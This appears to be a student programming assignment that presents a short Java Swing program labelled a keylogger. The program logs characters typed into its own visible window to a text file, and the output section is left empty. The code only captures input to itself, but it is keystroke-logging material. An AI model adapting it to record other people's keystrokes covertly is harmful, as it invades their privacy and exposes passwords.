Task No – 2

Q. Create a basic keylogger program that records and logas keystrokes. focus on logging the key pressed and saving then to a file.

Code :-

import java.awt.\*;

import java.awt.event.\*;

import java.io.\*;

import javax.swing.\*;

public class KeyLogger extends JFrame implements KeyListener {

    private static final String LOG\_FILE = "keylog.txt";

    public KeyLogger() {

        setTitle("Keylogger");

        setSize(400, 200);

        setDefaultCloseOperation(JFrame.EXIT\_ON\_CLOSE);

        addKeyListener(this);

        setVisible(true);

    }

    @Override

    public void keyTyped(KeyEvent e) {

        logKey(e.getKeyChar());

    }

    @Override

    public void keyPressed(KeyEvent e) {

        // You can log special keys here if needed

    }

    @Override

    public void keyReleased(KeyEvent e) {

        // Can be used for additional logging if needed

    }

    private void logKey(char key) {

        try (FileWriter writer = new FileWriter(LOG\_FILE, true)) {

            writer.write(key);

            writer.flush();

        } catch (IOException e) {

            e.printStackTrace();

        }

    }

    public static void main(String[] args) {

        SwingUtilities.invokeLater(KeyLogger::new);

    }

}

Output :-

